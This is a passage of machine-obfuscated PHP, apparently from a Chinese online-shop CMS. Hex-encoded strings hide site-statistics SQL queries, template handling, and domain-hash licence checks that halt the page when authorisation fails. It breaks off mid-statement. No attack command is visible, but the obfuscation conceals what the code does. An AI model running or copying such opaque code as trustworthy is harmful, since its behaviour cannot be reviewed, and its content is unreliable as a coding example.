E4kldMhxh;E4keWjgxh:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kxg;E4kldMhxh:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kxg:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));$E4kA0=$config->api==$E4keF1;if($E4kA0)goto E4keWjgxi;goto E4kldMhxi;E4keWjgxi:unset($E4kcV1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgxk;goto E4kldMhxk;E4keWjgxk:$E4kcV1=&$GLOBALS[RTcArGJ][0x7];goto E4kxj;E4kldMhxk:$E4kcV1=$GLOBALS[RTcArGJ][0x7];E4kxj:$E4keF0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV1));unset($E4ktIA0);$from=$E4keF0;goto E4kxf;E4kldMhxi:unset($E4ktIA0);$from=$config->api;E4kxf:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgxn;goto E4kldMhxn;E4keWjgxn:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kxm;E4kldMhxn:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kxm:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));$E4kA0=$config->domain==$E4keF1;if($E4kA0)goto E4keWjgxo;goto E4kldMhxo;E4keWjgxo:$E4keF0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{0x8}));unset($E4ktIA0);$url_from=$E4keF0;goto E4kxl;E4kldMhxo:unset($E4ktIA0);$url_from=$config->domain;E4kxl:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgxr;goto E4kldMhxr;E4keWjgxr:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kxq;E4kldMhxr:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kxq:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));$E4kA0=$config->hy==$E4keF1;if($E4kA0)goto E4keWjgxs;goto E4kldMhxs;E4keWjgxs:unset($E4kcV1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgxu;goto E4kldMhxu;E4keWjgxu:$E4kcV1=&$GLOBALS[RTcArGJ][011];goto E4kxt;E4kldMhxu:$E4kcV1=$GLOBALS[RTcArGJ][011];E4kxt:$E4keF0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV1));unset($E4ktIA0);$huoyuan=$E4keF0;goto E4kxp;E4kldMhxs:unset($E4ktIA0);$huoyuan=$config->hy;E4kxp:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgxx;goto E4kldMhxx;E4keWjgxx:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kxw;E4kldMhxx:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kxw:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));$E4kA0=$config->mail==$E4keF1;if($E4kA0)goto E4keWjgxy;goto E4kldMhxy;E4keWjgxy:unset($E4kcV1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx11;goto E4kldMhx11;E4keWjgx11:$E4kcV1=&$GLOBALS[RTcArGJ][0xA];goto E4kxz;E4kldMhx11:$E4kcV1=$GLOBALS[RTcArGJ][0xA];E4kxz:$E4keF0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV1));unset($E4ktIA0);$mail=$E4keF0;goto E4kxv;E4kldMhxy:unset($E4ktIA0);$mail=$config->mail;E4kxv:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx14;goto E4kldMhx14;E4keWjgx14:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kx13;E4kldMhx14:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kx13:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));$E4kA0=$config->demo==$E4keF1;if($E4kA0)goto E4keWjgx15;goto E4kldMhx15;E4keWjgx15:unset($E4kcV1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx17;goto E4kldMhx17;E4keWjgx17:$E4kcV1=&$GLOBALS[RTcArGJ][013];goto E4kx16;E4kldMhx17:$E4kcV1=$GLOBALS[RTcArGJ][013];E4kx16:$E4keF0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV1));unset($E4ktIA0);$demo=$E4keF0;goto E4kx12;E4kldMhx15:unset($E4ktIA0);$demo=$config->demo;E4kx12:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx1a;goto E4kldMhx1a;E4keWjgx1a:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kx19;E4kldMhx1a:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kx19:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));$E4kA0=$config->update==$E4keF1;if($E4kA0)goto E4keWjgx1b;goto E4kldMhx1b;E4keWjgx1b:$E4keF0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{12}));unset($E4ktIA0);$updateurl=$E4keF0;goto E4kx18;E4kldMhx1b:unset($E4ktIA0);$updateurl=$config->update;E4kx18:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx1e;goto E4kldMhx1e;E4keWjgx1e:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kx1d;E4kldMhx1e:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kx1d:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));$E4kA0=$config->qun1==$E4keF1;if($E4kA0)goto E4keWjgx1f;goto E4kldMhx1f;E4keWjgx1f:$E4keF0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{015}));unset($E4ktIA0);$qun1=$E4keF0;goto E4kx1c;E4kldMhx1f:unset($E4ktIA0);$qun1=$config->qun1;E4kx1c:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx1i;goto E4kldMhx1i;E4keWjgx1i:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kx1h;E4kldMhx1i:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kx1h:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));$E4kA0=$config->qun2==$E4keF1;if($E4kA0)goto E4keWjgx1j;goto E4kldMhx1j;E4keWjgx1j:$E4keF0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{016}));unset($E4ktIA0);$qun2=$E4keF0;goto E4kx1g;E4kldMhx1j:unset($E4ktIA0);$qun2=$config->qun1;E4kx1g:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx1m;goto E4kldMhx1m;E4keWjgx1m:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kx1l;E4kldMhx1m:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kx1l:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));$E4kA0=$config->qun1_link==$E4keF1;if($E4kA0)goto E4keWjgx1n;goto E4kldMhx1n;E4keWjgx1n:unset($E4kcV1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx1p;goto E4kldMhx1p;E4keWjgx1p:$E4kcV1=&$GLOBALS[RTcArGJ][017];goto E4kx1o;E4kldMhx1p:$E4kcV1=$GLOBALS[RTcArGJ][017];E4kx1o:$E4keF0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV1));unset($E4ktIA0);$qun1_link=$E4keF0;goto E4kx1k;E4kldMhx1n:unset($E4ktIA0);$qun1_link=$config->qun1_link;E4kx1k:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx1s;goto E4kldMhx1s;E4keWjgx1s:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kx1r;E4kldMhx1s:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kx1r:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));$E4kA0=$config->qun2_link==$E4keF1;if($E4kA0)goto E4keWjgx1t;goto E4kldMhx1t;E4keWjgx1t:unset($E4kcV1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx1v;goto E4kldMhx1v;E4keWjgx1v:$E4kcV1=&$GLOBALS[RTcArGJ][020];goto E4kx1u;E4kldMhx1v:$E4kcV1=$GLOBALS[RTcArGJ][020];E4kx1u:$E4keF0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV1));unset($E4ktIA0);$qun2_link=$E4keF0;goto E4kx1q;E4kldMhx1t:unset($E4ktIA0);$qun2_link=$config->qun2_link;E4kx1q:unset($E4kcVvP2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx1y;goto E4kldMhx1y;E4keWjgx1y:$E4kcVvP2=&$GLOBALS[RTcArGJ][021];goto E4kx1x;E4kldMhx1y:$E4kcVvP2=$GLOBALS[RTcArGJ][021];E4kx1x:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcVvP2));$E4keFvP3=call_user_func_array("md5",array(&$C_fdomain));$E4kvPA0=$E4keFvP1 . $E4keFvP3;$E4keF5=call_user_func_array("md5",array(&$E4kvPA0));$E4kA1=$config->wuliu==$E4keF5;if($E4kA1)goto E4keWjgx2z;goto E4kldMhx2z;E4keWjgx2z:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{0x12}));unset($E4ktIA0);$config->wuliu=$E4keF1;goto E4kx1w;E4kldMhx2z:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx22;goto E4kldMhx22;E4keWjgx22:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kx21;E4kldMhx22:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kx21:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));unset($E4ktIA0);$config->wuliu=$E4keF1;E4kx1w:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{0x13}));$E4keFvP2=call_user_func_array("md5",array(&$C_fdomain));$E4kvPA0=$E4keFvP1 . $E4keFvP2;$E4keF3=call_user_func_array("md5",array(&$E4kvPA0));$E4kA1=$config->epay==$E4keF3;if($E4kA1)goto E4keWjgx24;goto E4kldMhx24;E4keWjgx24:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{0x12}));unset($E4ktIA0);$config->epay=$E4keF1;goto E4kx23;E4kldMhx24:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx26;goto E4kldMhx26;E4keWjgx26:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kx25;E4kldMhx26:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kx25:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));unset($E4ktIA0);$config->epay=$E4keF1;E4kx23:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{20}));$E4keFvP2=call_user_func_array("md5",array(&$C_fdomain));$E4kvPA0=$E4keFvP1 . $E4keFvP2;$E4keF3=call_user_func_array("md5",array(&$E4kvPA0));$E4kA1=$config->quan==$E4keF3;if($E4kA1)goto E4keWjgx28;goto E4kldMhx28;E4keWjgx28:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{0x12}));unset($E4ktIA0);$config->quan=$E4keF1;goto E4kx27;E4kldMhx28:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx2a;goto E4kldMhx2a;E4keWjgx2a:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kx29;E4kldMhx2a:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kx29:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));unset($E4ktIA0);$config->quan=$E4keF1;E4kx27:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{0x15}));$E4keFvP2=call_user_func_array("md5",array(&$C_fdomain));$E4kvPA0=$E4keFvP1 . $E4keFvP2;$E4keF3=call_user_func_array("md5",array(&$E4kvPA0));$E4kA1=$config->postage==$E4keF3;if($E4kA1)goto E4keWjgx2c;goto E4kldMhx2c;E4keWjgx2c:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{0x12}));unset($E4ktIA0);$config->postage=$E4keF1;goto E4kx2b;E4kldMhx2c:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx2e;goto E4kldMhx2e;E4keWjgx2e:$E4kcV2=&$GLOBALS[RTcArGJ][06];goto E4kx2d;E4kldMhx2e:$E4kcV2=$GLOBALS[RTcArGJ][06];E4kx2d:$E4keF1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV2));unset($E4ktIA0);$config->postage=$E4keF1;E4kx2b:$E4keFvPvP0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{0x16}));unset($E4kcVvP2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx2h;goto E4kldMhx2h;E4keWjgx2h:$E4kcVvP2=&$GLOBALS[RTcArGJ][027];goto E4kx2g;E4kldMhx2h:$E4kcVvP2=$GLOBALS[RTcArGJ][027];E4kx2g:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcVvP2));unset($E4kcV5);if(is_array($_SERVER))goto E4keWjgx2n;goto E4kldMhx2n;E4keWjgx2n:$E4kcV5=&$_SERVER[$E4keFvPvP0];goto E4kx2m;E4kldMhx2n:$E4kcV5=$_SERVER[$E4keFvPvP0];E4kx2m:$E4keF4=call_user_func_array("strpos",array(&$E4kcV5,&$E4keFvP1));$E4kA0=$E4keF4!==false;$E4kA2=(bool)$E4kA0;if($E4kA2)goto E4keWjgx2l;goto E4kldMhx2l;E4keWjgx2l:$E4keFvP6=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{0x18}));$E4keFvP7=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{0x19}));$E4keF8=call_user_func_array("getrs",array(&$E4keFvP6,&$E4keFvP7));$E4kA1=$E4keF8>2;$E4kA2=(bool)$E4kA1;goto E4kx2k;E4kldMhx2l:E4kx2k:$E4kA4=(bool)$E4kA2;if($E4kA4)goto E4keWjgx2j;goto E4kldMhx2j;E4keWjgx2j:$E4keF9=call_user_func_array("checkauth",array());$E4kA3=!$E4keF9;$E4kA4=(bool)$E4kA3;goto E4kx2i;E4kldMhx2j:E4kx2i:if($E4kA4)goto E4keWjgx2o;goto E4kldMhx2o;E4keWjgx2o:unset($E4kcV1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx2u;goto E4kldMhx2u;E4keWjgx2u:$E4kcV1=&$GLOBALS[RTcArGJ][0x1A];goto E4kx2t;E4kldMhx2u:$E4kcV1=$GLOBALS[RTcArGJ][0x1A];E4kx2t:$E4keF0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV1));$E4kA0=$E4keF0 . $url_from;unset($E4kcV3);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx2s;goto E4kldMhx2s;E4keWjgx2s:$E4kcV3=&$GLOBALS[RTcArGJ][27];goto E4kx2r;E4kldMhx2s:$E4kcV3=$GLOBALS[RTcArGJ][27];E4kx2r:$E4keF2=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV3));$E4kA1=$E4kA0 . $E4keF2;$E4kA2=$E4kA1 . $url_from;unset($E4kcV5);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx2q;goto E4kldMhx2q;E4keWjgx2q:$E4kcV5=&$GLOBALS[RTcArGJ][0x1C];goto E4kx2p;E4kldMhx2q:$E4kcV5=$GLOBALS[RTcArGJ][0x1C];E4kx2p:$E4keF4=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcV5));$E4kA3=$E4kA2 . $E4keF4;die($E4kA3);goto E4kx2f;E4kldMhx2o:E4kx2f:function tpl($path){$E4kA0=!defined("tCRFOAv");if($E4kA0)goto E4keWjgx2w;goto E4kldMhx2w;E4keWjgx2w:$E4keF0=call_user_func_array("define",array("tCRFOAv","fWvWMOQ"));goto E4kx2v;E4kldMhx2w:E4kx2v:$E4keF0=call_user_func_array("explode",array("|~|^|h","H*|~|^|h636F6E6E2F66696C65|~|^|h73656C65637420636F756E74284E5F696429206173204E5F636F756E742066726F6D20736C5F6E657773207768657265204E5F64656C3D30|~|^|h4E5F636F756E74|~|^|h73656C65637420636F756E7428505F69642920617320505F636F756E742066726F6D20736C5F70726F6475637420776865726520505F64656C3D30|~|^|h505F636F756E74|~|^|h73656C65637420636F756E74284D5F696429206173204D5F636F756E742066726F6D20736C5F6D656D626572207768657265204D5F64656C3D3020616E64204D5F747970653D30|~|^|h4D5F636F756E74|~|^|h73656C65637420636F756E74284D5F696429206173204D5F636F756E742066726F6D20736C5F6D656D626572207768657265204D5F64656C3D3020616E64204D5F747970653D31|~|^|h73656C65637420636F756E74284C5F696429206173204C5F636F756E742066726F6D20736C5F6C697374207768657265204C5F64656C3D30|~|^|h4C5F636F756E74|~|^|h73656C6563742073756D284C5F6D6F6E657929206173204C5F73756D2066726F6D20736C5F6C697374207768657265204C5F64656C3D3020616E64204C5F6D6F6E65793E30|~|^|h4C5F73756D|~|^|h68746D6C|~|^|h485F64617461|~|^|h646179|~|^|h592D6D2D64|~|^|h646F6D61696E|~|^|h485454505F484F5354|~|^|h435F776170|~|^|h435F74656D706C617465|~|^|h535F636F756E74|~|^|h74797065|~|^|h6D6435|~|^|h686F7374|~|^|h74|~|^|h636F6E6E2F66696C652F|~|^|h3A|~|^|h5F|~|^|h2E747874|~|^|h74706C|~|^|h2F3C66682D66756E6374696F6E3E5B5C735C535D2A3F3C5C2F66682D66756E6374696F6E3E2F69|~|^|h3C66682D66756E6374696F6E3E|~|^|h|~|^|h3C2F66682D66756E6374696F6E3E|~|^|h735B5B|~|^|h24726573756C743D6D7973716C695F71756572792824636F6E6E2C2473716C293B6966286D7973716C695F6E756D5F726F77732824726573756C74293E30297B7768696C652824726F773D6D7973716C695F66657463685F6173736F632824726573756C7429297B|~|^|h73325B5B|~|^|h24726573756C74323D6D7973716C695F71756572792824636F6E6E2C2473716C32293B6966286D7973716C695F6E756D5F726F77732824726573756C7432293E30297B7768696C652824726F77323D6D7973716C695F66657463685F6173736F632824726573756C743229297B|~|^|h73335B5B|~|^|h24726573756C74333D6D7973716C695F71756572792824636F6E6E2C2473716C33293B6966286D7973716C695F6E756D5F726F77732824726573756C7433293E30297B7768696C652824726F77333D6D7973716C695F66657463685F6173736F632824726573756C743329297B|~|^|h5D5D|~|^|h7D7D|~|^|h3C736372697074207372633D2268747470733A2F2F7265732E77782E71712E636F6D2F6F70656E2F6A732F6A77656978696E2D312E322E302E6A73223E3C2F7363726970743E3C736372697074207372633D22636F6E6E2F662E7068703F616374696F6E3D77786A7326747970653D|~|^|h2669643D|~|^|h6964|~|^|h223E3C2F7363726970743E3C736372697074207372633D22636F6E6E2F662E7068703F616374696F6E3D636F6C6C656374696F6E223E3C2F7363726970743E"));unset($E4ktIA0);$GLOBALS[tCRFOAv]=$E4keF0;global $C_kefu,$conn,$H_data,$type,$id,$C_title,$C_notice,$fmid,$M_ninfo,$M_pinfo;unset($E4kcVvP1);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3z;goto E4kldMhx3z;E4keWjgx3z:$E4kcVvP1=&$GLOBALS[tCRFOAv][1];goto E4kx2y;E4kldMhx3z:$E4kcVvP1=$GLOBALS[tCRFOAv][1];E4kx2y:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP1));$E4keF3=call_user_func_array("is_dir",array(&$E4keFvP0));$E4kA0=!$E4keF3;if($E4kA0)goto E4keWjgx31;goto E4kldMhx31;E4keWjgx31:$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);unset($E4kcVvP1);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx33;goto E4kldMhx33;E4keWjgx33:$E4kcVvP1=&$GLOBALS[tCRFOAv][1];goto E4kx32;E4kldMhx33:$E4kcVvP1=$GLOBALS[tCRFOAv][1];E4kx32:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP1));$E4keF3=call_user_func_array("mkdir",array(&$E4keFvP0,0755,true));$E4keRA0=$E4keF3;error_reporting($GLOBALS["Ox9790"]);goto E4kx2x;E4kldMhx31:E4kx2x:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{0x2}));unset($E4kcVvP2);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx35;goto E4kldMhx35;E4keWjgx35:$E4kcVvP2=&$GLOBALS[tCRFOAv][3];goto E4kx34;E4kldMhx35:$E4kcVvP2=$GLOBALS[tCRFOAv][3];E4kx34:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP2));$E4keF4=call_user_func_array("getrs",array(&$E4keFvP0,&$E4keFvP1));unset($E4ktIA0);$N_count=$E4keF4;unset($E4kcVvP1);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx37;goto E4kldMhx37;E4keWjgx37:$E4kcVvP1=&$GLOBALS[tCRFOAv][4];goto E4kx36;E4kldMhx37:$E4kcVvP1=$GLOBALS[tCRFOAv][4];E4kx36:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP1));unset($E4kcVvP4);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx39;goto E4kldMhx39;E4keWjgx39:$E4kcVvP4=&$GLOBALS[tCRFOAv][05];goto E4kx38;E4kldMhx39:$E4kcVvP4=$GLOBALS[tCRFOAv][05];E4kx38:$E4keFvP3=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP4));$E4keF6=call_user_func_array("getrs",array(&$E4keFvP0,&$E4keFvP3));unset($E4ktIA0);$P_count=$E4keF6;$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{6}));unset($E4kcVvP2);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3b;goto E4kldMhx3b;E4keWjgx3b:$E4kcVvP2=&$GLOBALS[tCRFOAv][07];goto E4kx3a;E4kldMhx3b:$E4kcVvP2=$GLOBALS[tCRFOAv][07];E4kx3a:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP2));$E4keF4=call_user_func_array("getrs",array(&$E4keFvP0,&$E4keFvP1));unset($E4ktIA0);$M_count=$E4keF4;$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{8}));unset($E4kcVvP2);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3d;goto E4kldMhx3d;E4keWjgx3d:$E4kcVvP2=&$GLOBALS[tCRFOAv][07];goto E4kx3c;E4kldMhx3d:$E4kcVvP2=$GLOBALS[tCRFOAv][07];E4kx3c:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP2));$E4keF4=call_user_func_array("getrs",array(&$E4keFvP0,&$E4keFvP1));unset($E4ktIA0);$S_count=$E4keF4;unset($E4kcVvP1);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3f;goto E4kldMhx3f;E4keWjgx3f:$E4kcVvP1=&$GLOBALS[tCRFOAv][9];goto E4kx3e;E4kldMhx3f:$E4kcVvP1=$GLOBALS[tCRFOAv][9];E4kx3e:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP1));unset($E4kcVvP4);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3h;goto E4kldMhx3h;E4keWjgx3h:$E4kcVvP4=&$GLOBALS[tCRFOAv][10];goto E4kx3g;E4kldMhx3h:$E4kcVvP4=$GLOBALS[tCRFOAv][10];E4kx3g:$E4keFvP3=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP4));$E4keF6=call_user_func_array("getrs",array(&$E4keFvP0,&$E4keFvP3));unset($E4ktIA0);$L_count=$E4keF6;unset($E4kcVvP1);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3j;goto E4kldMhx3j;E4keWjgx3j:$E4kcVvP1=&$GLOBALS[tCRFOAv][013];goto E4kx3i;E4kldMhx3j:$E4kcVvP1=$GLOBALS[tCRFOAv][013];E4kx3i:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP1));$E4keFvP3=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{014}));$E4keF4=call_user_func_array("getrs",array(&$E4keFvP0,&$E4keFvP3));unset($E4ktIA0);$L_sum=$E4keF4;unset($E4kcVvP1);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3l;goto E4kldMhx3l;E4keWjgx3l:$E4kcVvP1=&$GLOBALS[tCRFOAv][0xD];goto E4kx3k;E4kldMhx3l:$E4kcVvP1=$GLOBALS[tCRFOAv][0xD];E4kx3k:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP1));$E4keFvP3=call_user_func_array("file_get_contents",array(&$path));$E4keFvP4=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{016}));unset($E4kcVvP6);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3n;goto E4kldMhx3n;E4keWjgx3n:$E4kcVvP6=&$GLOBALS[tCRFOAv][017];goto E4kx3m;E4kldMhx3n:$E4kcVvP6=$GLOBALS[tCRFOAv][017];E4kx3m:$E4keFvP5=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP6));$E4keFvPvP8=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{16}));$E4keFvP9=call_user_func_array("date",array(&$E4keFvPvP8));unset($E4kcVvP11);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3p;goto E4kldMhx3p;E4keWjgx3p:$E4kcVvP11=&$GLOBALS[tCRFOAv][021];goto E4kx3o;E4kldMhx3p:$E4kcVvP11=$GLOBALS[tCRFOAv][021];E4kx3o:$E4keFvP10=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP11));$E4keFvPvP13=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{18}));$E4kzA14=array();$E4kzA14[$E4keFvP0]=$E4keFvP3;$E4kzA14[$E4keFvP4]=$H_data;$E4kzA14[$E4keFvP5]=$E4keFvP9;$E4kzA14[$E4keFvP10]=$_SERVER[$E4keFvPvP13];unset($E4ktIA0);$data2=$E4kzA14;$E4keFvPvP0=call_user_func_array("json_encode",array(&$data2));$E4keFvP1=call_user_func_array("base64_encode",array(&$E4keFvPvP0));$E4keF2=call_user_func_array("md5",array(&$E4keFvP1));unset($E4ktIA0);$md5=$E4keF2;$E4keF0=call_user_func_array("isMobile",array());if($E4keF0)goto E4keWjgx3r;goto E4kldMhx3r;E4keWjgx3r:unset($E4kcVvP1);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3t;goto E4kldMhx3t;E4keWjgx3t:$E4kcVvP1=&$GLOBALS[tCRFOAv][023];goto E4kx3s;E4kldMhx3t:$E4kcVvP1=$GLOBALS[tCRFOAv][023];E4kx3s:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP1));unset($E4ktIA0);$t=$H_data[$E4keFvP0];goto E4kx3q;E4kldMhx3r:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{024}));unset($E4ktIA0);$t=$H_data[$E4keFvP0];E4kx3q:unset($E4kcVvP1);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3v;goto E4kldMhx3v;E4keWjgx3v:$E4kcVvP1=&$GLOBALS[tCRFOAv][0xD];goto E4kx3u;E4kldMhx3v:$E4kcVvP1=$GLOBALS[tCRFOAv][0xD];E4kx3u:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP1));$E4keFvP3=call_user_func_array("file_get_contents",array(&$path));$E4keFvP4=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{016}));unset($E4kcVvP6);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx3x;goto E4kldMhx3x;E4keWjgx3x:$E4kcVvP6=&$GLOBALS[tCRFOAv][3];goto 